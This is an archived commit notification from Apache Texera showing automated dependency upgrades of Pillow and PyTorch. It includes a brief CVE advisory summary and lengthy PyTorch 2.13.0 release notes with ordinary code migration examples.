    - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L`
    
    #### References
    -
    [https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://redi
    
    > ✂ **Note**
    >
    > PR body was truncated to here.
    
    ---------
    
    Co-authored-by: Xinyuan Lin <xi...@uci.edu>
    Co-authored-by: Yicong Huang <17...@users.noreply.github.com>
    Co-authored-by: Claude Fable 5 <no...@anthropic.com>
---
 amber/LICENSE-binary-python     | 2 +-
 amber/operator-requirements.txt | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/amber/LICENSE-binary-python b/amber/LICENSE-binary-python
index 0b59956f80..f950686bd3 100644
--- a/amber/LICENSE-binary-python
+++ b/amber/LICENSE-binary-python
@@ -363,7 +363,7 @@ Dependencies under the MIT-CMU License
 --------------------------------------------------------------------------------
 
 Python packages:
-  - pillow==12.2.0
+  - pillow==12.3.0
 
 Individual jars may contain their own META-INF/LICENSE and META-INF/NOTICE
 files that apply to their specific contents; those files continue to govern
diff --git a/amber/operator-requirements.txt b/amber/operator-requirements.txt
index 9759f624c4..bf3e0ff96c 100644
--- a/amber/operator-requirements.txt
+++ b/amber/operator-requirements.txt
@@ -18,7 +18,7 @@
 wordcloud==1.9.6
 plotly==5.24.1
 praw==7.6.1
-pillow==12.2.0
+pillow==12.3.0
 
 # Pin torch to the CPU wheel on Linux x86_64 to avoid the NVIDIA CUDA deps.
 --extra-index-url https://download.pytorch.org/whl/cpu


(texera) 02/02: fix(deps, pyamber): update dependency torch to v2.13.0 [security] (#6910)

Posted by gi...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

github-merge-queue[bot] pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/texera.git

commit 589f601d48025ada64836bbeb3adfc183282bb5c
Author: Mend Renovate <re...@whitesourcesoftware.com>
AuthorDate: Tue Jul 28 00:34:24 2026 +0100

    fix(deps, pyamber): update dependency torch to v2.13.0 [security] (#6910)
    
    > ℹ️ **Note**
    >
    > This PR body was truncated due to platform limits.
    
    This PR contains the following updates:
    
    | Package | Change |
    [Age](https://docs.renovatebot.com/merge-confidence/) |
    [Confidence](https://docs.renovatebot.com/merge-confidence/) |
    |---|---|---|---|
    | [torch](https://redirect.github.com/pytorch/pytorch) | `==2.12.1` →
    `==2.13.0` |
    ![age](https://developer.mend.io/api/mc/badges/age/pypi/torch/2.13.0?slim=true)
    |
    ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/torch/2.12.1/2.13.0?slim=true)
    |
    | [torch](https://redirect.github.com/pytorch/pytorch) | `==2.12.1+cpu`
    → `==2.13.0` |
    ![age](https://developer.mend.io/api/mc/badges/age/pypi/torch/2.13.0?slim=true)
    |
    ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/torch/2.12.1+cpu/2.13.0?slim=true)
    |
    
    ---
    
    > [!WARNING]
    > Some dependencies could not be looked up. Check the [Dependency
    Dashboard](../issues/6912) for more information.
    
    ---
    
    ### PyTorch is vulnerable to memory corruption through its
    torch.jit.script function
    BIT-pytorch-2025-3000 /
    [CVE-2025-3000](https://nvd.nist.gov/vuln/detail/CVE-2025-3000) /
    [GHSA-rrmf-rvhw-rf47](https://redirect.github.com/advisories/GHSA-rrmf-rvhw-rf47)
    / PYSEC-2025-194
    
    <details>
    <summary>More information</summary>
    
    #### Details
    A vulnerability classified as critical has been found in PyTorch 2.6.0.
    This affects the function torch.jit.script. The manipulation leads to
    memory corruption. It is possible to launch the attack on the local
    host. The exploit has been disclosed to the public and may be used.
    
    #### Severity
    - CVSS Score: 1.9 / 10 (Low)
    - Vector String:
    `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P`
    
    #### References
    -
    [https://nvd.nist.gov/vuln/detail/CVE-2025-3000](https://nvd.nist.gov/vuln/detail/CVE-2025-3000)
    -
    [https://github.com/pytorch/pytorch/issues/149623](https://redirect.github.com/pytorch/pytorch/issues/149623)
    -
    [https://github.com/pytorch/pytorch/issues/149623#issue-2935703015](https://redirect.github.com/pytorch/pytorch/issues/149623#issue-2935703015)
    -
    [https://github.com/pytorch/pytorch/commit/b90c94991cdf8b87c8f7439f79518e0ef2c4ca4f](https://redirect.github.com/pytorch/pytorch/commit/b90c94991cdf8b87c8f7439f79518e0ef2c4ca4f)
    -
    [https://github.com/pypa/advisory-database/tree/main/vulns/torch/PYSEC-2025-194.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/torch/PYSEC-2025-194.yaml)
    -
    [https://github.com/pytorch/pytorch](https://redirect.github.com/pytorch/pytorch)
    - [https://vuldb.com/?ctiid.302049](https://vuldb.com/?ctiid.302049)
    - [https://vuldb.com/?id.302049](https://vuldb.com/?id.302049)
    - [https://vuldb.com/?submit.524197](https://vuldb.com/?submit.524197)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-rrmf-rvhw-rf47) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Release Notes
    
    <details>
    <summary>pytorch/pytorch (torch)</summary>
    
    ###
    [`v2.13.0`](https://redirect.github.com/pytorch/pytorch/releases/tag/v2.13.0):
    PyTorch 2.13.0 Release
    
    ### PyTorch 2.13.0 Release Notes
    
    - [Highlights](#highlights)
    - [Backwards Incompatible Changes](#backwards-incompatible-changes)
    - [Deprecations](#deprecations)
    - [New Features](#new-features)
    - [Improvements](#improvements)
    - [Bug fixes](#bug-fixes)
    - [Performance](#performance)
    - [Documentation](#documentation)
    - [Developers](#developers)
    
    ### Highlights
    
    <table>
    <tr><td><strong>FlexAttention</strong> lands on Apple Silicon (MPS),
    with up to ~12x speedup over SDPA on sparse patterns, and gains a
    deterministic backward path on CUDA for reproducible gradient
    computation.</td></tr>
    <tr><td><strong>CuTeDSL "Native DSL" backend</strong> gives Inductor a
    second high-performance code path (alongside Triton) for key GPU
    operations, with faster compilation. [Prototype]</td></tr>
    <tr><td><strong><code>nn.LinearCrossEntropyLoss</code></strong> combines
    the final prediction and loss computation to cut peak GPU memory by up
    to 4x for large-vocabulary language model training.</td></tr>
    <tr><td><strong>torchcomms</strong>, a new communications backend for
    PyTorch Distributed, improves fault tolerance, scalability, and
    debuggability for large-cluster training.</td></tr>
    <tr><td><strong>FSDP2</strong> now overlaps reduce-scatter and
    all-gather communications via a dedicated process group (opt-in),
    increasing distributed training throughput.</td></tr>
    <tr><td><strong>Python 3.15 wheel support</strong> for PyTorch on Linux
    via the pytorch repository index, including builds compatible with
    free-threaded 3.15t.</td></tr>
    <tr><td><strong>Broader platform support</strong>: ROCm gains AOTriton
    0.12b with native HIP CMake, Arm adds Armv9-A <code>torch.compile</code>
    targeting, and Intel XPU exposes new device telemetry APIs.</td></tr>
    </table>
    
    For more details about these highlighted features, you can look at the
    release blogpost. Below are the full release notes for this release.
    
    ### Tracked Regressions
    
    ##### ROCm wheels break `torch.compile` on CPU in environments without a
    GPU
    
    Running a `torch==2.13.0+rocm7.2` wheel in an environment where no GPU
    is available (`torch.cuda.is_available()` is `False`) breaks
    `torch.compile` on the CPU path: the first compile raises `RuntimeError:
    Can't detect vectorized ISA for CPU`
    ([#&#8203;189194](https://redirect.github.com/pytorch/pytorch/issues/189194)).
    This is a regression from `torch==2.12.1+rocm7.2`, which compiles CPU
    code fine (detecting e.g. `VecAVX2`) in the same setup. The 2.13 ROCm
    wheel appears to rely on something present in the ROCm builder image to
    detect the CPU vectorized ISA, so it works when run on a ROCm image but
    fails on a plain CPU-only image.
    
    Workaround: run the `+rocm` wheel on a ROCm image, or install a standard
    CPU/CUDA build for GPU-less environments.
    
    ### Backwards Incompatible Changes
    
    - Stop building CPython 3.13t (free-threaded) binaries
    ([#&#8203;182951](https://redirect.github.com/pytorch/pytorch/issues/182951))
    
    Upstream `pypa/manylinux` removed CPython 3.13t (free-threaded) on
    2026-05-07, because 3.13t
    was experimental and has been superseded by the now-non-experimental
    CPython 3.14t. As a result,
    PyTorch 2.13 no longer ships `cp313t` wheels (Linux, Triton, and related
    artifacts). Users on the
      free-threaded interpreter should move to Python 3.14t.
    
      PyTorch 2.12:
    
      ```bash
      # cp313t (free-threaded 3.13) wheels were available
      python3.13t -m pip install torch
      ```
    
      PyTorch 2.13:
    
      ```bash
      # Use free-threaded Python 3.14t instead
      python3.14t -m pip install torch
      ```
    
    - Bare `PyObject` is no longer allowed in operator schemas
    ([#&#8203;184209](https://redirect.github.com/pytorch/pytorch/issues/184209))
    
    Bare `PyObject` was accidentally accepted in operator schema strings in
    PyTorch 2.12. This was undocumented and is now rejected, since
    `torch.compile`
      does not support arbitrary `PyObject` inputs to custom ops. If
    you parse or register a schema with a bare `PyObject` argument or return
    type,
      you will now get a schema parse error.
    
      PyTorch 2.12:
    
      ```python
      >>> from torch._C import parse_schema
      >>> parse_schema("foo(PyObject x) -> ()")  # accepted
      ```
    
      PyTorch 2.13:
    
      ```python
      >>> from torch._C import parse_schema
    >>> parse_schema("foo(PyObject x) -> ()") # raises a schema parse error
      ```
    
    - Remove Bazel build support
    ([#&#8203;180883](https://redirect.github.com/pytorch/pytorch/issues/180883))
    
    The Bazel build was never broadly adopted and still depended on the
    antiquated Bazel 6,
    while the wider ecosystem has since moved to Bazel 9. All Bazel build
    files and CI jobs have
    been removed. Users building PyTorch with Bazel should migrate to the
    supported CMake/`pip install`
      build flow.
    
      PyTorch 2.12:
    
      ```bash
      # Build PyTorch with Bazel
      bazel build //:torch
      ```
    
      PyTorch 2.13:
    
      ```bash
    # Bazel build files have been removed; build from source with pip
    instead
      pip install --no-build-isolation -e .
      ```
    
    - Enforce C++20 minimum in header guards
    ([#&#8203;178150](https://redirect.github.com/pytorch/pytorch/issues/178150)).
    In PyTorch 2.13, C++20 is now required to import PyTorch headers.
    
    - `StorageImpl`'s built-in copy-on-write (COW) materialization is
    replaced by a pluggable materializer hook
    ([#&#8203;179063](https://redirect.github.com/pytorch/pytorch/issues/179063))
    
    `StorageImpl` no longer knows about COW directly. Its internal COW entry
    points
    `StorageImpl::is_cow()`, `StorageImpl::maybe_materialize_cow()`, and the
    friend
    `cow::materialize_cow_storage()` have been removed in favor of a single
    pluggable
    `MaterializeFn` hook (`void(*)(StorageImpl*)`) that a backend registers
    to run once,
    on the first mutable data-pointer access. COW is now just one consumer
    of this hook
    (`c10::impl::cow::materialize_cow`), and all COW behavior (lazy clone,
    refcounted
    shared data, copy-on-write) is unchanged. This also gives accelerator
    backends and
    eager-mode graph compilers a zero-fast-path-cost place to commit
    deferred allocations
      or materialize symbolic buffers on first mutation.
    
    This is a C++-only change. It affects out-of-tree backends/extensions
    that called the
    removed `StorageImpl` COW symbols directly; they will fail to compile
    against 2.13
    with errors such as `no member named 'is_cow' in 'c10::StorageImpl'`.
    Migrate to the
    new hook API (`set_materializer()` / `has_materializer()` /
    `clear_materializer()`).
    
      PyTorch 2.12:
    
      ```cpp
      // Detect a COW storage and force it to materialize.
      if (storage.is_cow()) {
        storage.maybe_materialize_cow();
      }
      ```
    
      PyTorch 2.13:
    
      ```cpp
    // Register a one-shot materializer; it runs on the next mutable-data
    access
    // and then clears itself. COW registers c10::impl::cow::materialize_cow
    this way.
    storage.set_materializer(&my_backend_materialize); // void(StorageImpl*)
    
    // `has_materializer()` replaces `is_cow()` for "is a deferred
    materialization pending?"
      if (storage.has_materializer()) { /* ... */ }
      ```
    
    - Convert `shared_ptr<Node>` to `intrusive_ptr<Node>`
    ([#&#8203;181139](https://redirect.github.com/pytorch/pytorch/issues/181139)).
    This changes the signature of `Tensor::grad_fn`. Accesses to
    `Tensor.grad_fn()` should change from `std::shared_ptr<Node>` to
    `c10::intrusive_ptr<Node>`. Similarly, construction of a C++ autograd
    function should change:
    
      PyTorch 2.12:
    
      ```cpp
    std::shared_ptr<CustomCppNode> node(new CustomCppNode(),
    torch::autograd::deleteNode);
      ```
    
      PyTorch 2.13:
    
      ```cpp
      auto node = c10::make_intrusive<CustomCppNode>();
      ```
    
    - The minimum supported NCCL version when building from source is now
    2.23
    ([#&#8203;186292](https://redirect.github.com/pytorch/pytorch/issues/186292))
    
    PyTorch now requires NCCL >= 2.23 at compile time, and the
    preprocessor/runtime gates that guarded NCCL features introduced in 2.23
    or earlier have been removed. Users who build PyTorch from source
    against a system NCCL older than 2.23 will hit compile errors against
    the dropped gates. Upgrade the NCCL installation to >= 2.23 to build.
    The prebuilt PyTorch wheels already bundle a compatible NCCL, so
    pip/conda users are unaffected.
    
    - Remove named tensors
    ([#&#8203;173895](https://redirect.github.com/pytorch/pytorch/issues/173895))
    
    The named tensor feature (a long-deprecated prototype) has been fully
    removed to reduce overhead and code bloat. All associated Python and C++
    APIs are gone, including `Tensor.names`, `Tensor.rename()`,
    `Tensor.refine_names()`, `Tensor.align_to()`, `Tensor.align_as()`,
    `torch.align_tensors()`, the `names=` keyword on factory functions (e.g.
    `torch.zeros`, `torch.empty`, `torch.ones`), and the C++ `Dimname` /
    `DimnameList` APIs. Code that previously relied on named dimensions must
    track dimension order positionally and avoid usage of any of these
    now-removed APIs or op overloads.
    
    - The `onednn::qconv2d_pointwise.binary` and `.binary_tensor` operators
    no longer alias their input but rather return fresh tensors. Previously
    these ops mutated the `qaccum` input buffer and returned it directly,
    violating the PyTorch invariant that custom operator outputs must not
    alias inputs. This silently bypassed aliasing checks via the old `->
    Tensor(a!)` schema and would become a hard error in a future PyTorch
    version (as mentioned in
    [#&#8203;182063](https://redirect.github.com/pytorch/pytorch/issues/182063)),
    so the schema and implementation were corrected to return a fresh
    output. Most users are unaffected, only code that calls these ops
    directly and relies on the in-place mutation of qaccum must now read the
    returned tensor instead.
    ([#&#8203;177171](https://redirect.github.com/pytorch/pytorch/issues/177171))
    
    ### Deprecations
    
    - Custom operators that return an output aliasing one of their inputs
    are deprecated
    ([#&#8203;182063](https://redirect.github.com/pytorch/pytorch/issues/182063))
    
    When a custom operator returns an output that is the same tensor as (or
    otherwise aliases) one of its inputs under `torch.compile`, PyTorch now
    emits a `UserWarning` stating that this is deprecated and will become an
    error in a future version of PyTorch. Previously the warning stated the
    change would land in PyTorch 2.12; that timeline has been pushed back.
    To update your code, return a clone of the offending output instead of
    the input, or refactor the operator so it does not return the aliased
    tensor.
    
      Deprecated:
    
      ```python
      @&#8203;torch.library.custom_op("mylib::foo", mutates_args=())
      def foo(x: torch.Tensor) -> torch.Tensor:
          return x  # output aliases the input -- deprecated
      ```
    
      Updated:
    
      ```python
      @&#8203;torch.library.custom_op("mylib::foo", mutates_args=())
      def foo(x: torch.Tensor) -> torch.Tensor:
          return x.clone()  # return a clone instead
      ```
    
    - Creating tensors with the quantized dtypes `quint8`, `qint8`, and
    `qint32` is now deprecated and emits a warning. This covers both Python
    and C++ call sites; see
    [#&#8203;184982](https://redirect.github.com/pytorch/pytorch/issues/184982)
    for migration guidance
    ([#&#8203;184984](https://redirect.github.com/pytorch/pytorch/issues/184984))
    
      PyTorch 2.12:
    
      ```python
    >>> x = torch.quantize_per_tensor(torch.randn(3), 0.1, 0, torch.quint8)
      ```
    
      PyTorch 2.13:
    
      ```python
    >>> x = torch.quantize_per_tensor(torch.randn(3), 0.1, 0, torch.quint8)
    UserWarning: Creating tensors with quantized dtypes (quint8, qint8,
    qint32) is deprecated
      ```
    
    - Rename distributed collective ops to the `_single` naming scheme and
    deprecate the old names
    ([#&#8203;186123](https://redirect.github.com/pytorch/pytorch/issues/186123),
    [#&#8203;186124](https://redirect.github.com/pytorch/pytorch/issues/186124),
    [#&#8203;186125](https://redirect.github.com/pytorch/pytorch/issues/186125),
    [#&#8203;186134](https://redirect.github.com/pytorch/pytorch/issues/186134),
    [#&#8203;186135](https://redirect.github.com/pytorch/pytorch/issues/186135),
    [#&#8203;186144](https://redirect.github.com/pytorch/pytorch/issues/186144))
    
    To align the public `torch.distributed` collective APIs with the naming
    used by torchcomms' `TorchCommBackend`, `all_gather_into_tensor` is
    renamed to `all_gather_single` and `reduce_scatter_tensor` to
    `reduce_scatter_single`. The previous names continue to work as thin
    wrappers that delegate to the new functions, but now emit a
    `FutureWarning`.
    
      PyTorch 2.12:
    
      ```python
      dist.all_gather_into_tensor(output, input)
      dist.reduce_scatter_tensor(output, input)
      ```
    
      PyTorch 2.13:
    
      ```python
      dist.all_gather_single(output, input)
      dist.reduce_scatter_single(output, input)
      ```
    
    ### New Features
    
    #### Python Frontend
    
    - Add two new operator tags, `torch.Tag.inplace` and `torch.Tag.out`,
    that let an operator declare how it writes its result: `inplace` means
    it mutates a tensor in place, and `out` means it writes into a
    caller-provided output tensor. Native PyTorch operators are tagged
    automatically, and custom operators defined with `torch.library` can opt
    in by adding the tag. To be tagged `inplace`, an operator must take the
    tensor it mutates as its first positional argument (declared as
    `Tensor(a!)`, and the only mutable argument) and return that same
    tensor. Tagging a custom operator this way improves its behavior under
    `torch.compile`: `inplace` ops now go through `auto_functionalize`, so
    the reinplacing pass can analyze clones and skip unnecessary copies, and
    both `inplace` and `out` ops get their fake/meta kernels generated for
    free. See the [Python custom operators
    tutorial](https://docs.pytorch.org/tutorials/advanced/python_custom_ops.html)
    for how to author and tag custom operators.
    ([#&#8203;181100](https://redirect.github.com/pytorch/pytorch/issues/181100),
    [#&#8203;181099](https://redirect.github.com/pytorch/pytorch/issues/181099),
    [#&#8203;184199](https://redirect.github.com/pytorch/pytorch/issues/184199),
    [#&#8203;184200](https://redirect.github.com/pytorch/pytorch/issues/184200),
    [#&#8203;184201](https://redirect.github.com/pytorch/pytorch/issues/184201),
    [#&#8203;184202](https://redirect.github.com/pytorch/pytorch/issues/184202),
    [#&#8203;184203](https://redirect.github.com/pytorch/pytorch/issues/184203),
    [#&#8203;180851](https://redirect.github.com/pytorch/pytorch/issues/180851),
    [#&#8203;180852](https://redirect.github.com/pytorch/pytorch/issues/180852))
    - Add `const_data_ptr()` Python binding to `torch.Tensor` for read-only
    data pointer access
    ([#&#8203;180382](https://redirect.github.com/pytorch/pytorch/issues/180382))
    - Add an `abbr` property to `torch.dtype` that returns a dtype's short
    string abbreviation (e.g. `torch.float32.abbr` returns `"f32"`)
    ([#&#8203;177296](https://redirect.github.com/pytorch/pytorch/issues/177296))
    - Allow positional arguments to be passed as keyword arguments to
    autograd custom `Function`s
    ([#&#8203;182206](https://redirect.github.com/pytorch/pytorch/issues/182206))
    - Expose `rearrange` in the `torch.func` namespace for einops-style
    tensor reshaping
    ([#&#8203;173183](https://redirect.github.com/pytorch/pytorch/issues/173183))
    
    #### torch.nn
    
    - Add `nn.LinearCrossEntropyLoss`, a fused linear-projection plus
    cross-entropy loss module that avoids materializing the full logits
    tensor
    ([#&#8203;181573](https://redirect.github.com/pytorch/pytorch/issues/181573),
    [#&#8203;185852](https://redirect.github.com/pytorch/pytorch/issues/185852),
    [#&#8203;172286](https://redirect.github.com/pytorch/pytorch/issues/172286),
    [#&#8203;186113](https://redirect.github.com/pytorch/pytorch/issues/186113))
    
    #### Autograd
    
    - Add `torch.autograd.graph.region_activation_memory_budget`
    ([#&#8203;185979](https://redirect.github.com/pytorch/pytorch/issues/185979))
    - Support passing gradient inputs as a `dict` to `torch.autograd.grad`
    and `torch.autograd.backward`
    ([#&#8203;178140](https://redirect.github.com/pytorch/pytorch/issues/178140))
    
    #### Distributed
    
    - Add a registration API for symmetric memory arguments
    (`lib.register_symm_mem_args()`), letting operators (including
    out-of-tree ops) declare which arguments require symmetric-memory
    allocation
    ([#&#8203;173513](https://redirect.github.com/pytorch/pytorch/issues/173513))
    
    - Remove `NCCLSymmetricMemory`'s explicit dependency on
    `ProcessGroupNCCL`, enabling symmetric memory to work with out-of-tree
    backends such as torchcomms
    ([#&#8203;184260](https://redirect.github.com/pytorch/pytorch/issues/184260))
    
    - Support accessing the `ReduceOp.PREMUL_SUM` factor from Python when
    implementing process group backends in Python
    ([#&#8203;185863](https://redirect.github.com/pytorch/pytorch/issues/185863))
    
    - Expose the NCCL 2.30 `maxP2pPeers` config binding
    ([#&#8203;181686](https://redirect.github.com/pytorch/pytorch/issues/181686))
    
    - Add rocSHMEM Triton integration for symmetric memory on ROCm
    ([#&#8203;178658](https://redirect.github.com/pytorch/pytorch/issues/178658))
    
    - Support passing extra keyword arguments to the loss function in
    pipeline schedules via a new `loss_kwargs` parameter to `step()`,
    enabling loss functions that require arguments beyond `(output, target)`
    (such as chunked cross-entropy needing token counts for scaling)
    ([#&#8203;181057](https://redirect.github.com/pytorch/pytorch/issues/181057))
    
    #### Distributed FSDP2
    
    - Add `FSDPModule.set_separate_reduce_scatter_group` to give
    reduce-scatter its own NCCL communicator, enabling opt-in overlap of
    all-gather and reduce-scatter
    ([#&#8203;186335](https://redirect.github.com/pytorch/pytorch/issues/186335))
    - Add `set_reduce_scatter_max_input_buffers` to keep multiple
    reduce-scatter input buffers in flight, so backward compute no longer
    stalls waiting to recycle a single reduce-scatter buffer
    ([#&#8203;186000](https://redirect.github.com/pytorch/pytorch/issues/186000))
    
    #### Profiler
    
    - Profiler/Kineto now emits channel metadata on CUDA backends
    ([#&#8203;185968](https://redirect.github.com/pytorch/pytorch/issues/185968))
    
    #### Dynamo
    
    - Add `torch.compiler.set_default_backend` to override the default
    `torch.compile` backend globally, so out-of-tree backend authors don't
    need to pass `backend=` at every call site (following the pattern of
    `torch.set_default_dtype`/`torch.set_default_device`). Explicit
    `backend=` arguments still take precedence
    ([#&#8203;178944](https://redirect.github.com/pytorch/pytorch/issues/178944))
    - Add `torch.compile(f, isolate_recompiles=True)` to give each
    `torch.compile` call its own isolated cache bucket, preventing
    cross-compile interference in cache lookups and recompile-limit checks
    when multiple `torch.compile` calls target the same function
    ([#&#8203;178351](https://redirect.github.com/pytorch/pytorch/issues/178351))
    - Add `register_multi_grad_hook` support to `@leaf_function`, allowing a
    backward hook to fire once per backward pass when all `requires_grad`
    inputs have their gradients computed
    ([#&#8203;179609](https://redirect.github.com/pytorch/pytorch/issues/179609))
    
    #### Inductor
    
    - Add flash-decoding support to the CPU `FlexAttention` template (chosen
    when query length is 1) with a new configurable `PARTITION_SIZE` kernel
    option
    ([#&#8203;159835](https://redirect.github.com/pytorch/pytorch/issues/159835))
    - Add Triton convolution backward kernels (input and weight gradients)
    as an autotuning backend in place of the ATen-only fallback
    ([#&#8203;178945](https://redirect.github.com/pytorch/pytorch/issues/178945))
    - Add an Inductor FX pass (`decomp_comms`) that eliminates `all_gather`
    for Gram-matrix optimizer patterns (Muon/Shampoo) under FSDP, gated by
    `config.aten_distributed_optimizations.allow_comms_decompositions`,
    yielding 1.25-1.95x training speedups
    ([#&#8203;184370](https://redirect.github.com/pytorch/pytorch/issues/184370))
    
    #### Ahead-Of-Time Inductor (AOTI)
    
    - Generated C shims for the AOTI stable ABI are now versioned and gated
    by `TORCH_TARGET_VERSION`, so shims introduced in newer releases are
    only exposed when the target version supports them
    ([#&#8203;181916](https://redirect.github.com/pytorch/pytorch/issues/181916))
    - Triton CPU AOTI models now work end-to-end through the public
    `torch._inductor.aoti_compile_and_package` / `aoti_load_package` API,
    including packaging and loading of the multiple `.so` files emitted per
    kernel
    ([#&#8203;182251](https://redirect.github.com/pytorch/pytorch/issues/182251))
    - Added stable C shim functions (`torch_exception_get_what`,
    `torch_exception_get_what_without_backtrace`, and
    `STABLE_TORCH_ERROR_CODE_CHECK`) so extensions built against the stable
    ABI can retrieve the original error message across the C API boundary
    (target version 2.13+)
    ([#&#8203;180135](https://redirect.github.com/pytorch/pytorch/issues/180135))
    - Added a stable AOTI stream shim `aoti_torch_stream_native_handle` and
    `torch::stable::accelerator::Stream::nativeHandle()`, gated behind
    `TORCH_FEATURE_VERSION >= 2.13`, for retrieving a native stream handle
    from the stable ABI
    ([#&#8203;183930](https://redirect.github.com/pytorch/pytorch/issues/183930))
    
    #### Release Engineering
    
    - Add Python 3.15 wheel builds across Linux (CPU/CUDA), Triton, ROCm,
    and XPU
    ([#&#8203;182954](https://redirect.github.com/pytorch/pytorch/issues/182954),
    [#&#8203;184600](https://redirect.github.com/pytorch/pytorch/issues/184600),
    [#&#8203;185409](https://redirect.github.com/pytorch/pytorch/issues/185409),
    [#&#8203;184829](https://redirect.github.com/pytorch/pytorch/issues/184829),
    [#&#8203;184891](https://redirect.github.com/pytorch/pytorch/issues/184891),
    [#&#8203;184906](https://redirect.github.com/pytorch/pytorch/issues/184906),
    [#&#8203;185094](https://redirect.github.com/pytorch/pytorch/issues/185094))
    
    #### CUDA
    
    - Add `CUDAGraph.get_graph_data()` for graph topology introspection
    ([#&#8203;183165](https://redirect.github.com/pytorch/pytorch/issues/183165))
    - Lightweight API to get private pool reserved memory bytes
    ([#&#8203;178240](https://redirect.github.com/pytorch/pytorch/issues/178240))
    
    #### MPS
    
    - Add FlexAttention support for MPS
    ([#&#8203;182552](https://redirect.github.com/pytorch/pytorch/issues/182552),
    [#&#8203;186215](https://redirect.github.com/pytorch/pytorch/issues/186215))
    - Add support for `torch.distributions.Dirichlet` on MPS by adding
    `_sample_dirichlet` and `_dirichlet_grad` Metal implementations
    ([#&#8203;185458](https://redirect.github.com/pytorch/pytorch/issues/185458),
    [#&#8203;185854](https://redirect.github.com/pytorch/pytorch/issues/185854))
    - Add `grid_sampler_2d` backward support on MPS
    ([#&#8203;179756](https://redirect.github.com/pytorch/pytorch/issues/179756))
    - Add `grid_sampler_3d` backward support on MPS
    ([#&#8203;179388](https://redirect.github.com/pytorch/pytorch/issues/179388))
    - Add `lcm` support on MPS via a new Metal kernel
    ([#&#8203;186279](https://redirect.github.com/pytorch/pytorch/issues/186279))
    - Add complex support to `c10/metal/reduction_utils.h`
    ([#&#8203;180708](https://redirect.github.com/pytorch/pytorch/issues/180708))
    and a complex->bool specialization
    ([#&#8203;185938](https://redirect.github.com/pytorch/pytorch/issues/185938))
    
    #### ROCm
    
    - Enable external events in CUDA graphs
    ([#&#8203;178264](https://redirect.github.com/pytorch/pytorch/issues/178264))
    - Enable GPU Address Sanitizer build
    ([#&#8203;183792](https://redirect.github.com/pytorch/pytorch/issues/183792),
    [#&#8203;176461](https://redirect.github.com/pytorch/pytorch/issues/176461))
    - Improve Inductor GEMM search space performance using the Origami
    project
    ([#&#8203;172512](https://redirect.github.com/pytorch/pytorch/issues/172512))
    - Use CMake native HIP language support, `enable_language(HIP)`
    ([#&#8203;180485](https://redirect.github.com/pytorch/pytorch/issues/180485))
    - New Inductor benchmarker based on Torch Profiler
    ([#&#8203;175097](https://redirect.github.com/pytorch/pytorch/issues/175097))
    
    #### XPU
    
    - Add XPU device telemetry APIs for temperature, frequency, power draw,
    engine utilization, memory bandwidth usage, and used device memory
    through `torch.xpu.*`
    ([#&#8203;181082](https://redirect.github.com/pytorch/pytorch/issues/181082),
    [#&#8203;183427](https://redirect.github.com/pytorch/pytorch/issues/183427),
    [#&#8203;183428](https://redirect.github.com/pytorch/pytorch/issues/183428),
    [#&#8203;183429](https://redirect.github.com/pytorch/pytorch/issues/183429),
    [#&#8203;183430](https://redirect.github.com/pytorch/pytorch/issues/183430),
    [#&#8203;183431](https://redirect.github.com/pytorch/pytorch/issues/183431))
    - Add FP8 blockwise scaling support for `scaled_mm` on XPU
    ([#&#8203;173630](https://redirect.github.com/pytorch/pytorch/issues/173630),
    [#&#8203;176043](https://redirect.github.com/pytorch/pytorch/issues/176043))
    
    ### Improvements
    
    #### Python Frontend
    
    - Make it possible to load safetensors with `torch.load`
    ([#&#8203;170592](https://redirect.github.com/pytorch/pytorch/issues/170592))
    - Make `Storage.pin_memory` / `Storage.is_pinned` device-agnostic
    ([#&#8203;186223](https://redirect.github.com/pytorch/pytorch/issues/186223))
    - Add `op_overloads` to `OpOverloadPacket` to enumerate an operator's
    overloads
    ([#&#8203;182993](https://redirect.github.com/pytorch/pytorch/issues/182993))
    
    #### torch.nn
    
    - Expose `num_splits` in FlashAttention-2 and bump the flash-attention
    submodule
    ([#&#8203;179760](https://redirect.github.com/pytorch/pytorch/issues/179760))
    - Support `linear_bias` in `linear_cross_entropy` on the reference and
    chunked paths
    ([#&#8203;185129](https://redirect.github.com/pytorch/pytorch/issues/185129),
    [#&#8203;185276](https://redirect.github.com/pytorch/pytorch/issues/185276))
    
    #### Optimizer
    
    - Fix `SequentialLR` wrong learning rate initialization when
    `milestones` contain 0
    ([#&#8203;185986](https://redirect.github.com/pytorch/pytorch/issues/185986))
    
    #### Autograd
    
    - Implement autograd derivatives for `torch.nextafter`
    ([#&#8203;148820](https://redirect.github.com/pytorch/pytorch/issues/148820))
    - Add `torch.autograd.enforce_grad_layout_policy` to control the memory
    layout policy for accumulated gradients
    ([#&#8203;180552](https://redirect.github.com/pytorch/pytorch/issues/180552))
    
    #### Distributed
    
    - When TorchComms is enabled, route `new_group` through `split_group`
    for subgroup creation, raising `NotImplementedError` for arguments
    `split_group` cannot honor (e.g. `use_local_synchronization=True`,
    `sort_ranks=False`) instead of silently falling back
    ([#&#8203;185416](https://redirect.github.com/pytorch/pytorch/issues/185416))
    
    - Delegate `dist.new_group` to custom process group subclasses
    ([#&#8203;184262](https://redirect.github.com/pytorch/pytorch/issues/184262))
    
    - Surface started-work metadata in NCCL watchdog timeouts
    ([#&#8203;183656](https://redirect.github.com/pytorch/pytorch/issues/183656))
    
    - Add a health check endpoint to the distributed debug server
    ([#&#8203;179326](https://redirect.github.com/pytorch/pytorch/issues/179326))
    
    - Make the `DeviceMesh` non-overlapping check stricter
    ([#&#8203;172343](https://redirect.github.com/pytorch/pytorch/issues/172343))
    
    - Allow `elastic_launch`/`launch_agent` to accept a pre-created
    torchelastic health check server, so it can be started before rendezvous
